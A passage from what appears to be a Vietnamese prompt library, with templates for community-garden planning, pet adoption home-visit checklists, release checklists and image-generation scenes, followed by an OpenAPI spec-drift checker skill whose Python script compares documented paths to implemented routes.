điều phối của một người hàng xóm trung lập, chuyển lên ban quản lý vườn) kèm theo các mẫu câu giao tiếp giữ được sự tôn trọng. 6. **Chương trình Họp Khởi động Mùa vụ**: lịch trình họp gói gọn trong 45 phút bao gồm việc nhắc lại nội quy, phân chia ô đất, đăng ký ca tưới nước, và một dự án chung vui vẻ. 7. **Thông báo Đầu tiên**: một tin nhắn thân thiện để dán lên bảng thông báo hoặc gửi vào nhóm chat (dưới 120 từ) công bố lịch phân ca mới và nơi giải đáp thắc mắc. 8. **Đánh giá Sau 30 Ngày**: năm câu hỏi để rà soát lại tính công bằng, mức độ tham gia, và xem liệu các quy tắc có cần tinh chỉnh gì không. Hãy giữ ngôn từ giản dị và hòa đồng. Sử dụng các bảng ngắn và danh sách kiểm tra (checklists). Nếu kế hoạch đang phụ thuộc quá nhiều vào một tình nguyện viên đang kiệt sức, hãy chỉ rõ điều đó và đề xuất cách san sẻ khối lượng công việc.
Chuyển đổi buổi thăm nhà nhận nuôi tạm thời (foster) hoặc nhận nuôi chính thức thành dữ liệu JSON có cấu trúc: các mục đánh giá pass/concern/fail xuyên suốt mức độ an toàn ngoài trời và trong nhà, không gian, thời gian thú cưng ở một mình, vật dụng, trẻ nhỏ và thú cưng khác, kế hoạch khẩn cấp và theo dõi sau nhận nuôi, kèm theo khuyến nghị tổng thể, các điều kiện có thể khắc phục và lời nhắn kết thúc ấm áp.
1{2 "role": "Chuyên viên Đánh giá Thăm nhà Nhận nuôi Thú cưng",3 "goal": "Tạo danh sách kiểm tra mức độ phù hợp của ngôi nhà có cấu trúc rõ ràng cho việc nhận nuôi tạm thời (foster) hoặc nhận nuôi chính thức, bao quát yếu tố an toàn, không gian, thói quen sinh hoạt của hộ gia đình và nhu cầu theo dõi tiếp theo, mà không phán xét bất công hay đưa ra chẩn đoán thú y.",4 "instructions": [5 "Hãy hỏi tôi bất kỳ thông tin đầu vào nào còn thiếu dưới mục required_inputs trước khi tạo kết quả. Chỉ hỏi một lần duy nhất trong một danh sách ngắn gọn.",6 "Chấm điểm từng mục trong danh sách kiểm tra là pass, concern, hoặc fail, và luôn kèm theo ghi chú bằng ngôn ngữ dễ hiểu.",7 "Không bao giờ tự bịa ra thông tin thực tế về ngôi nhà. Đánh dấu các mục chưa rõ là concern kèm theo câu hỏi cần xác minh thêm.",8 "Không đưa ra lời khuyên pháp lý, y tế hoặc tư vấn luật cấm giống vật nuôi. Hãy gắn cờ lưu ý khi cần để bác sĩ thú y, chủ nhà hoặc chính sách của trạm cứu hộ quyết định.",9 "Đánh giá trung lập trước sự khác biệt văn hóa, mức thu nhập và loại hình nhà ở. Tập trung vào phúc lợi và sự an toàn của động vật, không đánh giá tính thẩm mỹ.",10 "Nếu bất kỳ mục nào bị đánh giá là fail do ảnh hưởng trực tiếp đến an toàn tức thời (ban công mở không có lưới chắn đối với mèo, hóa chất độc hại trong tầm với, không có hàng rào kiên cố đối với chú chó có thói quen trốn thoát), hãy đặt overall_recommendation thành decline_or_delay và giải thích một cách nhẹ nhàng, tử tế.",...+65 dòng nữa
Xây dựng danh sách kiểm tra phát hành (release checklist) định dạng YAML cho dự án mã nguồn mở: nâng phiên bản SemVer, bản nháp Keep-a-Changelog, các cổng kiểm soát chất lượng, các gói tạo phẩm xuất bản (artifacts), gắn thẻ có chú thích (annotated tags) và các bước tạo GitHub Release, đoạn thông báo ngắn cho từng kênh, các tác vụ sau phát hành và kế hoạch hoàn tác (rollback), tự động chặn ship_ready khi CI báo đỏ.
1role: Công cụ Xây dựng Danh sách Kiểm tra Phát hành Mã nguồn Mở2goal: >3 Chuyển đổi một đợt phát hành mã nguồn mở sắp tới thành một danh sách kiểm tra YAML cụ thể bao gồm4 nâng phiên bản, nhật ký thay đổi (changelog), các gói tạo phẩm (artifacts), kiểm thử, ghi chú bảo mật và các kênh5 thông báo, giúp những người bảo trì dự án phát hành suôn sẻ mà không bỏ quên bất kỳ bước nào.67ask_first:8 - project: "Tên repo, ngôn ngữ lập trình chính và kho lưu trữ gói (npm, PyPI, crates.io, Maven, Go module, hoặc không có)"9 - current_version: "Phiên bản SemVer hiện tại trên nhánh main/default"10 - target_version: "Phiên bản SemVer dự kiến và loại nâng cấp (patch | minor | major | pre-release)"...+55 dòng nữa

Họa tiết vải batik Indonesia vẽ đôi chim công đối xứng bên đầm sen với tông màu chàm và kem, kết hợp họa tiết lấp đầy isen, đường viền kawung, vết rạn sáp nhuộm, và kết cấu sợi vải dệt. Bố cục trang trí mặt phẳng dành cho vải vóc.
Đôi chim công quay mặt vào nhau bên những đầm sen, được thể hiện theo họa tiết vải batik truyền thống của Indonesia với hai tông màu chàm và kem. Đôi chim công chiếm trọn phần trung tâm với chiếc cổ uốn cong chữ S đối xứng, đuôi xòe hình quạt được lấp đầy bằng các họa tiết chấm bi isen, và những cụm hoa văn tròn nhỏ chạy dọc theo đôi cánh. Xung quanh chúng, những đầm sen hình bầu dục nở rộ hoa sen, lá sen và những chú cá nhỏ được vẽ như các mảng họa tiết hình học lặp lại. Đường viền batik cổ điển đóng khung tấm vải: các hình khối kawung và ceplok đan xen vào nhau cùng những đường vân rạn mảnh mai tạo ra từ kỹ thuật nhuộm cản màu bằng sáp ong. Bảng màu giới hạn ở sắc xanh chàm đậm, nền màu kem dịu nhẹ, và một vài mảng loang màu xanh xám nhạt. Nét vẽ tay có độ ngẫu hứng tự nhiên, bề mặt hiện rõ kết cấu vết rạn sáp và thớ sợi vải dệt, bố cục trang trí phẳng phù hợp để in dệt vải. Không có người, không có vật dụng hiện đại, không có chữ, không có chữ ký.

Bức tranh sơn dầu ấm áp vẽ căn bếp của người gác hải đăng giữa cơn bão: ấm đun nước bằng đồng thau, đèn dầu, áo mưa vải dầu ướt sũng treo cạnh cửa, khung cửa sổ nhòe nước mưa nhìn ra biển đêm đen kịt. Nội thất màu hổ phách ấm cúng tương phản với bọt sóng lạnh lẽo bên ngoài; nét cọ đắp nổi (impasto) dày dặn.
Căn bếp của người gác hải đăng được vẽ bằng chất liệu sơn dầu đậm đặc, ấm áp và mang đậm hơi thở cuộc sống trong khi một cơn bão đang gào thét bên ngoài. Những nét cọ đắp nổi (impasto) dày dặn khắc họa những bức tường đá quét vôi trắng, chiếc bàn gỗ nặng nề đặt ấm đun nước bằng đồng thau đang bốc khói, ngọn đèn dầu tỏa ánh sáng màu hổ phách, và một ổ bánh mì nằm trên chiếc thớt cũ mòn. Nước mưa chảy thành vệt dài trên khung cửa sổ chia ô nhỏ; nhìn qua lớp kính là mặt biển xám đen và bọt sóng trắng xóa. Bộ áo mưa vải dầu màu vàng ướt sũng và đôi ủng cao su treo nhỏ nước cạnh cánh cửa. Những chiếc chảo đồng và một chiếc cốc tráng men nằm trên các kệ mở. Sự ấm áp cúng bên trong nội thất tương phản mạnh mẽ với thứ ánh sáng giông bão lạnh lẽo nơi khung cửa sổ. Nét cọ hiện rõ, tông màu vàng đất trầm và xanh dương thẫm, lớp vecni hơi bóng nhẹ. Không có người, không có chữ, không có thiết bị hiện đại.

Cảnh game voxel góc nhìn đẳng cự (isometric) đầy màu sắc của một quán trọ suối nước nóng (onsen) bằng gỗ trên núi lúc chập tối: hơi nước bốc lên từ các bồn tắm đá, những rặng thông, lối đi lát đá, đèn lồng giấy tỏa sáng ấm áp, bầu trời xanh tím. Đồ họa game dạng khối vuông sắc nét, không có giao diện người dùng (UI) hay nhân vật.
Một cảnh game voxel góc nhìn đẳng cự (isometric) vẽ quán trọ suối nước nóng trên núi vào lúc chập tối. Những khối voxel vuông vức đầy màu sắc tạo nên một quán trọ onsen bằng gỗ với cửa trượt, mái ngói, và những chiếc đèn lồng giấy tỏa ánh sáng cam ấm áp dọc theo lối đi lát đá. Hơi nước bốc lên thành những khối lập phương màu trắng mềm mại từ các bồn tắm đá ngoài trời. Những hàng cây thông và vách đá bao quanh quán trọ; một dòng suối nhỏ tạo bởi các khối voxel màu xanh lam chảy qua những tảng đá phủ rêu. Ánh đèn lồng đọng lại thành từng vũng sáng trên lối đi trong khi bầu trời chuyển dần từ sắc tím sang xanh thẫm. Bảng màu đồ họa game tươi vui, các cạnh khối voxel sắc nét, hiệu ứng đổ bóng môi trường (ambient occlusion) nhẹ trong các khe hẹp, không có giao diện người dùng (UI), không có chữ, không có nhân vật. Góc nhìn hơi chúc xuống từ góc chiếu đẳng cự cổ điển.
Xây dựng bản mô tả thiết kế sẵn sàng để tạo ảnh cho một xưởng gốm bên hồ có lò nung củi: hướng đặt công trình ven bờ, hình khối gọn gàng với nhà lò nung và cầu cảng, bảng vật liệu, bố cục phòng bàn xoay, lưu ý an toàn cho lò nung, các chi tiết thị giác cố định để tạo ảnh đồng nhất, cùng hai mầm prompt (ngoại thất giờ vàng và bàn làm việc giờ xanh).
Hãy đóng vai một nhà thiết kế ý tưởng kiến trúc chuyên về các xưởng thủ công nhỏ ven mặt nước. Hãy giúp tôi xây dựng một bản mô tả thiết kế rõ ràng, sẵn sàng để tạo ảnh cho một xưởng gốm bên hồ có lò nung củi. Trước tiên, hãy hỏi tôi trong một danh sách ngắn gọn về các thông tin: bối cảnh hồ nước (bờ rừng, vịnh đá nhỏ, đồng cỏ thoáng đãng), loại đất sét và kiểu nung (gốm sành stoneware, gốm đất nung earthenware, nung củi, có hỗ trợ điện), phong cách chủ đạo của xưởng (gỗ tuyết tùng mộc mạc, kính-và-gỗ hiện đại, cảm hứng Nhật Bản), quy mô diện tích dự kiến (nhà kho khiêm tốn, xưởng cỡ vừa, rộng rãi), và bất kỳ hạng mục bắt buộc phải có nào (cầu cảng, bồn rửa tráng men, giá hong khô, chỗ ngồi cho khách, gác xép nghỉ qua đêm). Sau đó, hãy lập bản mô tả thiết kế với các phần sau: 1. **Ý tưởng trong Một Câu**: cảm xúc chủ đạo và mục đích của xưởng gốm. 2. **Khu đất và Hướng công trình**: vị trí tọa lạc trên bờ hồ, hướng quay của các ô cửa sổ lớn để đón ánh sáng và tầm nhìn ra mặt hồ, vị trí đặt nhà lò nung xét theo hướng khói và gió, lối đi từ bãi đậu xe hoặc lối dẫn ra cầu cảng. 3. **Hình khối và Bố cục Không gian**: diện tích mặt bằng, hình dáng mái, cửa khoang mở rộng cho phòng đặt bàn xoay, và nhà lò nung tách biệt hoặc liền kề, kèm theo kích thước ước chừng. 4. **Vật liệu và Bảng màu**: lớp ốp ngoại thất (ví dụ: gỗ tuyết tùng nhuốm màu thời gian), vật liệu lợp mái, khung cửa sổ, ván lát cầu cảng, cùng tông màu gỗ và tường trát vữa bên trong nội thất. 5. **Bố cục Nội thất**: các bàn xoay gốm đặt cạnh cửa sổ nhìn ra hồ, bàn nhồi đất sét, bàn pha và tráng men, các kệ hong khô, bồn rửa, bếp củi sưởi ấm nếu cần, và khu vực lưu trữ đất sét cùng dụng cụ. 6. **Ghi chú về Lò nung và An toàn**: hướng đặt lò nung củi, đường thoát tro và khói, khoảng cách an toàn tối thiểu, và cách thức mở cửa nhà lò để xếp gốm vào nung. 7. **Các Chi tiết Thị giác Cố định**: danh sách đánh số gồm 8 đến 10 chi tiết bắt buộc phải giữ nguyên giống hệt nhau trong mọi bức ảnh chụp xưởng gốm này (vật liệu ốp tường, màu mái, hình dáng cầu cảng, ống khói lò nung, số lượng cửa sổ, các loài cây, màu nước hồ, hướng ánh sáng giờ vàng). 8. **Mầm Prompt Tạo ảnh (Image Prompt Seeds)**: hai đoạn prompt khởi đầu ngắn gọn, một đoạn cho cảnh ngoại thất giờ vàng có cầu cảng và nhà lò nung, và một đoạn cho cảnh nội thất bàn làm việc vào giờ xanh nhìn ra mặt nước. Mỗi đoạn bắt buộc phải nhắc lại các chi tiết thị giác cố định và đặt chủ thể chính ngay trong câu đầu tiên. Hãy trình bày ngắn gọn, thực tế và có tính khả thi khi xây dựng. Tránh nêu tên các kiến trúc sư hoặc thương hiệu có thật. Đánh dấu cảnh báo bất kỳ yếu tố nào mất an toàn khi nung củi gần cây cối hoặc cầu cảng.

Ngoại thất chân thực như ảnh chụp vào giờ vàng (golden hour) của xưởng gốm bằng gỗ tuyết tùng nhuốm màu thời gian bên cầu cảng trên hồ: cửa khoang rộng mở để lộ những bàn xoay gốm, nhà lò nung củi tách biệt có ống khói gạch, củi xếp chồng, rừng thông, mặt nước tĩnh lặng phản chiếu bóng hình. Bước 2 trong quy trình Xưởng gốm Bên hồ.
Một xưởng gốm bằng gỗ tuyết tùng bên hồ có nhà lò nung củi vào giờ vàng (golden hour), góc nhìn ngoại thất từ phía cầu cảng. Những tấm ván gỗ tuyết tùng ốp dọc nhuốm màu sương gió, mái kim loại dốc thấp và cánh cửa khoang mở rộng để lộ hai bàn xoay gốm cùng các kệ hong khô đồ gốm bên trong. Một cầu cảng nhỏ bằng gỗ vươn ra mặt nước hồ tĩnh lặng đang phản chiếu ánh sáng màu hổ phách ấm áp. Bên cạnh xưởng chính, một nhà lò nung tách biệt có ống khói bằng gạch đang tỏa ra một làn khói mỏng màu nhạt. Lối đi lát đá, củi đun xếp thành chồng, vài món đồ gốm chưa hoàn thiện đặt trên giá phơi ngoài trời, cùng những hàng cây thông và bạch dương dọc bờ hồ. Bóng nắng đổ dài mềm mại, ánh sáng viền vàng óng phủ lên lớp gỗ tuyết tùng, mang lại bầu không khí yên bình của một chốn ẩn cư làm nghề thủ công. Chân thực như ảnh chụp (photoreal), khung hình ngang 16:9. Không có người, không có chữ, không có xe hơi.

Nội thất chân thực như ảnh chụp vào giờ xanh (blue hour) của xưởng gốm bên hồ: bàn nhồi đất sét cùng dụng cụ làm gốm, các kệ xếp những món đồ gốm đang hong khô, khung cửa sổ rộng mở ra cảnh hoàng hôn tím biếc trên mặt hồ, bến thuyền và ống khói lò nung hiện rõ bên ngoài. Ánh đèn ấm áp đối lập với ánh sáng lạnh từ cửa sổ. Bước 3 trong quy trình Xưởng gốm Bên hồ.
Căn phòng đặt bàn làm việc bên trong một xưởng gốm bằng gỗ tuyết tùng bên hồ vào giờ xanh (blue hour), hướng tầm nhìn ra mặt nước. Một chiếc bàn gỗ nặng dùng để nhồi đất sét chiếm trọn tiền cảnh với các dụng cụ làm gốm, một dây cắt đất sét, và vài chiếc bát đất sét đã se cứng (leather-hard). Những kệ xếp đầy đồ gốm đang hong khô chạy dọc bức tường bên trái. Qua khung cửa sổ hình chữ nhật rộng lớn và cánh cửa đôi kiểu nhà kho có thanh giằng chữ X đang mở toang, mặt hồ hiện lên xanh thẫm dưới bầu trời hoàng hôn sắc tím; cầu cảng lát ván gỗ rộng với phần nối dài hình chữ T, một chiếc thuyền chèo nhỏ màu đỏ và những hàng cây bạch dương mảnh mai hiện rõ bên ngoài. Ánh đèn bàn làm việc ấm áp rọi trên mặt bàn tương phản với ánh sáng xanh lạnh lẽo hắt vào từ cửa sổ. Tường nội thất ốp ván gỗ tuyết tùng dọc, điểm xuyết những mảng tường trát vữa, bàn xoay gốm đặt ở rìa bên phải. Cùng một xưởng gốm với cảnh ngoại thất giờ vàng: những tấm ván gỗ tuyết tùng dọc nhuốm màu thời gian, mái kim loại dốc màu sẫm có ống khói xây gạch, cầu cảng lát ván rộng, hai cửa sổ nhỏ bên hông, cùng những rặng thông và bạch dương. Chân thực như ảnh chụp (photoreal), khung hình ngang 16:9. Không có người, không có chữ.
So sánh đặc tả OpenAPI YAML/JSON với danh sách các route đã được triển khai và gắn cờ cảnh báo sự lệch chuẩn (drift): thiếu thao tác (operation), thừa route, lệch phương thức (method), và khác biệt về cấu trúc tham số đường dẫn (path parameter). Sử dụng khi đánh giá PR của API, trước khi phát hành, hoặc khi hỏi "mã nguồn của chúng ta có còn khớp với OpenAPI không?". Bao gồm công cụ kiểm tra bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
name: openapi-spec-drift-checker
description: So sánh đặc tả OpenAPI YAML/JSON với danh sách các route đã được triển khai và gắn cờ cảnh báo sự lệch chuẩn (drift): thiếu thao tác (operation), thừa route, lệch phương thức (method), và khác biệt về cấu trúc tham số đường dẫn (path parameter). Sử dụng khi đánh giá PR của API, trước khi phát hành, hoặc khi hỏi "mã nguồn của chúng ta có còn khớp với OpenAPI không?". Bao gồm công cụ kiểm tra bằng thư viện chuẩn Python có hỗ trợ --self-test.
---
# Công cụ Kiểm tra Lệch chuẩn Đặc tả OpenAPI
Bạn giúp các đội ngũ phát triển API tìm ra sự lệch chuẩn (drift) giữa tài liệu OpenAPI 3.x và các route mà mã nguồn của họ thực sự phục vụ. Bạn so sánh các đường dẫn (path) và phương thức (method), gắn cờ các thao tác bị thiếu hoặc thừa, đồng thời chỉ ra những điểm không khớp về tham số hoặc phản hồi làm ảnh hưởng đến phía client. Bạn không tự bịa ra các endpoint; bạn chỉ báo cáo những gì dữ liệu đầu vào thể hiện.
## Các tệp trong kỹ năng này
- `scripts/check_drift.py` - so sánh một đoạn đặc tả OpenAPI nhỏ với danh sách route và in ra báo cáo lệch chuẩn (chỉ dùng thư viện chuẩn Python 3)
- `references/openapi-checklist.md` - những điều cần xác minh trong đặc tả trước khi so sánh
- `references/common-drift.md` - các nguyên nhân gây lệch chuẩn thường gặp và cách khắc phục
- `templates/drift-report.md` - cấu trúc báo cáo dùng cho các PR và ghi chú phát hành (release notes)
- `examples/openapi-snippet.yaml` - đoạn mẫu OpenAPI dùng cho bản chạy thử (demo)
## Quy trình làm việc
### 1. Thu thập dữ liệu đầu vào
Yêu cầu cung cấp, hoặc suy luận từ ngữ cảnh:
- Tệp OpenAPI (YAML hoặc JSON) hoặc phần paths được dán trực tiếp
- Các route đã triển khai: danh sách phương thức + đường dẫn từ bộ định tuyến (router) của framework, được trích xuất từ mã nguồn, hoặc từ cấu hình gateway
- Liệu tên tham số đường dẫn có bắt buộc phải khớp chính xác từng chữ hay không (`{id}` so với `{userId}`)
### 2. Chuẩn hóa dữ liệu
Chuyển các phương thức về chữ thường. Cắt bỏ dấu gạch chéo ở cuối đường dẫn (trailing slash). Coi `/users/{id}` và `/users/{userId}` có cùng hình thái đường dẫn trừ khi nhóm phát triển yêu cầu khớp chính xác tên tham số.
### 3. Chạy công cụ kiểm tra
```
python3 scripts/check_drift.py --spec examples/openapi-snippet.yaml --routes examples/routes.txt
python3 scripts/check_drift.py --self-test
```
Nếu danh sách các route chưa có sẵn trong tệp, hãy giúp người dùng trích xuất chúng từ mã nguồn trước.
### 4. Phân loại các phát hiện
- **missing_in_code**: có trong OpenAPI, nhưng chưa được triển khai trong mã nguồn
- **missing_in_spec**: đã triển khai trong mã nguồn, nhưng không có trong OpenAPI
- **method_mismatch**: đường dẫn có tồn tại nhưng khác phương thức HTTP (verb)
- **param_shape_diff**: cùng mẫu đường dẫn, nhưng khác tên tham số (chế độ nghiêm ngặt tùy chọn)
### 5. Trả lời
Trả về bảng tóm tắt số lượng ngắn gọn, sau đó liệt kê từng phát hiện kèm mức độ nghiêm trọng (high/medium/low) và gợi ý cách khắc phục. Sử dụng `templates/drift-report.md` để viết bình luận vào PR.
## Quy tắc
- Ưu tiên cập nhật lại tài liệu theo thực tế khi mã nguồn được viết có chủ đích và bản đặc tả đã lỗi thời; ưu tiên viết bổ sung mã nguồn khi bản đặc tả là hợp đồng giao tiếp đã được công bố cho các client.
- Không bao giờ tuyên bố rằng đã thực hiện đánh giá bảo mật; chỉ báo cáo sự lệch chuẩn về mặt cấu trúc.
- Nếu không thể phân tích cú pháp (parse) tệp OpenAPI, hãy dừng lại và hiển thị lỗi phân tích cú pháp đó.
FILE:references/openapi-checklist.md
# Danh sách kiểm tra OpenAPI trước khi đối chiếu
Trước khi chạy kiểm tra lệch chuẩn, hãy xác nhận bản đặc tả có tính nhất quán:
1. Trường **openapi** là `3.0.x` hoặc `3.1.x`.
2. Phần **paths** có tồn tại và bắt đầu bằng dấu `/`.
3. Mọi thao tác (operation) đều có phương thức HTTP (`get`, `post`, `put`, `patch`, `delete`, `head`, `options`).
4. Các tham số đường dẫn được khai báo trong đường dẫn (`{id}`) cũng xuất hiện dưới mục `parameters` với `in: path` và `required: true`.
5. Các đích tham chiếu `$ref` đều phân giải được (hoặc bạn đang so sánh một tài liệu đã được phân giải/đóng gói hoàn chỉnh).
6. Đã nắm rõ đường dẫn cơ sở (base path) trong URL của servers: nếu `servers[].url` bao gồm `/api/v1`, các route có thể được liệt kê kèm hoặc không kèm tiền tố đó—hãy chọn một quy ước thống nhất và giữ nguyên trong suốt quá trình so sánh.
7. Các thao tác không còn khuyên dùng (deprecated) vẫn phải được liệt kê cho đến khi bị xóa hoàn toàn khỏi mã nguồn; hãy đánh dấu chúng trong báo cáo thay vì bỏ qua.
## Cấu trúc paths tối thiểu
```yaml
paths:
/pets:
get:
summary: List pets
post:
summary: Create pet
/pets/{petId}:
get:
parameters:
- name: petId
in: path
required: true
schema: { type: string }
```
FILE:references/common-drift.md
# Các trường hợp lệch chuẩn OpenAPI thường gặp
| Triệu chứng | Nguyên nhân có thể | Cách khắc phục |
| --- | --- | --- |
| Đặc tả có `GET /users`, mã nguồn không có | Đặc tả được viết trước khi triển khai mã nguồn | Triển khai mã nguồn hoặc xóa khỏi bản đặc tả đã công bố |
| Mã nguồn có `POST /users/{id}/reset`, thiếu trong đặc tả | Bản vá nóng (hotfix) được đưa lên mà không cập nhật tài liệu | Thêm thao tác vào đặc tả; tăng phiên bản phụ (minor) nếu là API công khai |
| Đặc tả là `PUT`, mã nguồn là `PATCH` | Ngữ nghĩa cập nhật một phần đã thay đổi | Đồng bộ lại phương thức; lưu ý thay đổi gây lỗi tương thích (breaking change) nếu client đang gọi PUT |
| `{userId}` so với `{id}` | Framework tự động đặt tên so với đặc tả viết tay | Chuẩn hóa khi so sánh; ghi tài liệu quy tắc đặt tên |
| Chỉ có dấu gạch chéo cuối trong mã nguồn | Bộ định tuyến (router) chấp nhận linh hoạt dấu gạch chéo | Cắt bỏ khi so sánh; chọn dạng chuẩn tắc (canonical) trong đặc tả |
| Đường dẫn cơ sở `/api` chỉ có ở gateway | Mục servers trong đặc tả bỏ qua tiền tố của gateway | Cắt bỏ hoặc thêm cùng một tiền tố ở cả hai phía |
| Webhooks / callbacks chỉ có trong đặc tả | Không phải là các route HTTP thông thường | Loại trừ khỏi việc so sánh route |
| Route tải tệp lên chưa được ghi tài liệu | Bổ sung multipart vào giai đoạn muộn | Ghi tài liệu `multipart/form-data` vào requestBody |
## Hướng dẫn đánh giá mức độ nghiêm trọng
- **High**: các client công khai đã và đang gọi thao tác này; thiếu phương thức hoặc đường dẫn ở một trong hai phía.
- **Medium**: route chỉ dùng nội bộ bị thiếu trong đặc tả; đổi tên tham số nhưng có bí danh (alias).
- **Low**: dấu gạch chéo ở cuối, nhiễu từ các phương thức HEAD/OPTIONS tùy chọn, đã đánh dấu deprecated nhưng vẫn còn tồn tại.
FILE:templates/drift-report.md
# Báo cáo lệch chuẩn OpenAPI
- **Đặc tả (Spec)**: <path or URL>
- **Nguồn trích xuất route**: <router dump / gateway / manual>
- **Thời điểm so sánh**: <ISO timestamp>
- **Tóm tắt**: missing_in_code=<n>, missing_in_spec=<n>, method_mismatch=<n>, param_shape_diff=<n>
## Các phát hiện
| Mức độ nghiêm trọng | Loại | Đặc tả (Spec) | Mã nguồn (Code) | Ghi chú |
| --- | --- | --- | --- | --- |
| high | missing_in_code | `GET /pets/{petId}` | — | Triển khai hoặc gỡ khỏi tài liệu công bố |
| medium | missing_in_spec | — | `POST /pets/{petId}/adopt` | Bổ sung vào tài liệu trước khi phát hành |
## Quyết định
- [ ] Cập nhật OpenAPI
- [ ] Cập nhật mã nguồn
- [ ] Chấp nhận như một ngoại lệ đã biết (nêu rõ lý do)
## Các việc cần theo dõi tiếp
- [ ]
FILE:examples/openapi-snippet.yaml
openapi: 3.0.3
info:
title: Pets demo
version: 0.1.0
paths:
/pets:
get:
summary: List pets
operationId: listPets
post:
summary: Create pet
operationId: createPet
/pets/{petId}:
get:
summary: Get pet by id
operationId: getPet
parameters:
- name: petId
in: path
required: true
schema:
type: string
delete:
summary: Delete pet
operationId: deletePet
parameters:
- name: petId
in: path
required: true
schema:
type: string
/health:
get:
summary: Health check
operationId: health
FILE:scripts/check_drift.py
#!/usr/bin/env python3
"""Compare OpenAPI paths to an implemented route list.
Usage:
python3 check_drift.py --spec openapi.yaml --routes routes.txt
python3 check_drift.py --spec openapi.yaml --route 'GET /pets' --route 'POST /pets'
python3 check_drift.py --self-test
Route file format: one "METHOD /path" per line. Comments (#) and blank lines ignored.
Python 3 standard library only.
"""
from __future__ import annotations
import argparse
import json
import re
import sys
from typing import Dict, List, Set, Tuple
try:
import yaml # type: ignore
except ImportError:
yaml = None
PathKey = str # normalized path template
Method = str
def normalize_path(path: str) -> str:
path = path.strip()
if not path.startswith("/"):
path = "/" + path
if len(path) > 1 and path.endswith("/"):
path = path.rstrip("/")
# unify parameter names to {}
return re.sub(r"\{[^}]+\}", "{}", path)
def normalize_method(m: str) -> str:
return m.strip().upper()
def parse_routes(lines: List[str]) -> Dict[PathKey, Set[Method]]:
out: Dict[PathKey, Set[Method]] = {}
for raw in lines:
line = raw.split("#", 1)[0].strip()
if not line:
continue
parts = line.split()
if len(parts) < 2:
raise ValueError(f"Bad route line: {raw!r}")
method, path = normalize_method(parts[0]), normalize_path(parts[1])
out.setdefault(path, set()).add(method)
return out
def _parse_openapi_json(text: str) -> dict:
return json.loads(text)
def _parse_openapi_yaml_simple(text: str) -> dict:
"""Minimal YAML subset parser for simple OpenAPI path maps when PyYAML is absent.
Supports the examples shipped with this skill (no anchors, no multiline).
Prefer PyYAML when installed.
"""
# Very small fallback: extract path keys and methods via regex for our demos.
paths: Dict[str, dict] = {}
current_path = None
for raw in text.splitlines():
if raw.startswith(" /") and raw.rstrip().endswith(":"):
current_path = raw.strip()[:-1]
paths[current_path] = {}
continue
if current_path and re.match(r"^ (get|post|put|patch|delete|head|options):", raw):
method = raw.strip().split(":", 1)[0]
paths[current_path][method] = {}
if not paths:
raise ValueError("Could not parse OpenAPI YAML without PyYAML; install pyyaml or pass JSON.")
return {"paths": paths}
def load_spec(path: str) -> Dict[PathKey, Set[Method]]:
text = open(path, encoding="utf-8").read()
if path.endswith(".json"):
data = _parse_openapi_json(text)
else:
if yaml is not None:
data = yaml.safe_load(text)
else:
# try JSON first, then simple YAML
try:
data = _parse_openapi_json(text)
except json.JSONDecodeError:
data = _parse_openapi_yaml_simple(text)
paths = data.get("paths") or {}
out: Dict[PathKey, Set[Method]] = {}
http = {"get", "post", "put", "patch", "delete", "head", "options", "trace"}
for p, item in paths.items():
if not isinstance(item, dict):
continue
methods = {normalize_method(m) for m in item if m.lower() in http}
if methods:
out[normalize_path(p)] = methods
return out
def compare(spec: Dict[PathKey, Set[Method]], code: Dict[PathKey, Set[Method]]) -> List[dict]:
findings = []
all_paths = set(spec) | set(code)
for p in sorted(all_paths):
s = spec.get(p, set())
c = code.get(p, set())
if s and not c:
for m in sorted(s):
findings.append({"kind": "missing_in_code", "severity": "high", "method": m, "path": p})
elif c and not s:
for m in sorted(c):
findings.append({"kind": "missing_in_spec", "severity": "medium", "method": m, "path": p})
else:
only_spec = s - c
only_code = c - s
for m in sorted(only_spec):
findings.append({"kind": "method_mismatch", "severity": "high", "method": m, "path": p, "side": "spec_only"})
for m in sorted(only_code):
findings.append({"kind": "method_mismatch", "severity": "high", "method": m, "path": p, "side": "code_only"})
return findings
def format_report(findings: List[dict]) -> str:
counts: Dict[str, int] = {}
for f in findings:
counts[f["kind"]] = counts.get(f["kind"], 0) + 1
lines = ["Drift summary: " + ", ".join(f"{k}={v}" for k, v in sorted(counts.items()))]
if not findings:
lines.append("No drift found.")
return "\n".join(lines)
for f in findings:
side = f.get("side", "")
extra = f" ({side})" if side else ""
lines.append(f"- [{f['severity']}] {f['kind']}: {f['method']} {f['path']}{extra}")
return "\n".join(lines)
def self_test() -> int:
spec = {
normalize_path("/pets"): {"GET", "POST"},
normalize_path("/pets/{petId}"): {"GET", "DELETE"},
normalize_path("/health"): {"GET"},
}
code = {
normalize_path("/pets"): {"GET", "POST"},
normalize_path("/pets/{id}"): {"GET"}, # same shape, missing DELETE
normalize_path("/pets/{id}/adopt"): {"POST"}, # extra
}
findings = compare(spec, code)
kinds = sorted(f["kind"] + ":" + f["method"] + ":" + f["path"] for f in findings)
cases = [
("missing delete on pet", any(f["kind"] == "method_mismatch" and f["method"] == "DELETE" for f in findings), True),
("extra adopt route", any(f["kind"] == "missing_in_spec" and f["path"].endswith("/adopt") for f in findings), True),
("health missing in code", any(f["kind"] == "missing_in_code" and f["path"] == "/health" for f in findings), True),
("list pets matched", not any(f["path"] == "/pets" and f["kind"] == "missing_in_code" for f in findings), True),
("normalize params", normalize_path("/pets/{petId}") == normalize_path("/pets/{id}"), True),
("normalize slash", normalize_path("/pets/") == "/pets", True),
("parse routes", parse_routes(["GET /pets", "POST /pets # create"]) == {"/pets": {"GET", "POST"}}, True),
("empty compare", compare({"/x": {"GET"}}, {"/x": {"GET"}}) == [], True),
]
# parse simple yaml fallback
sample = """openapi: 3.0.3\npaths:\n /pets:\n get:\n summary: x\n post:\n summary: y\n"""
parsed = _parse_openapi_yaml_simple(sample)
cases.append(("yaml fallback paths", "get" in parsed["paths"]["/pets"] and "post" in parsed["paths"]["/pets"], True))
failed = 0
for name, got, expected in cases:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
# also assert finding count sanity
ok = len(findings) >= 3
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} findings_count>={3}: got={len(findings)}")
print(f"\n{len(cases)+1 - failed}/{len(cases)+1} passed")
return 1 if failed else 0
def main(argv=None) -> int:
p = argparse.ArgumentParser(description="Compare OpenAPI paths to implemented routes.")
p.add_argument("--spec", help="OpenAPI YAML or JSON file")
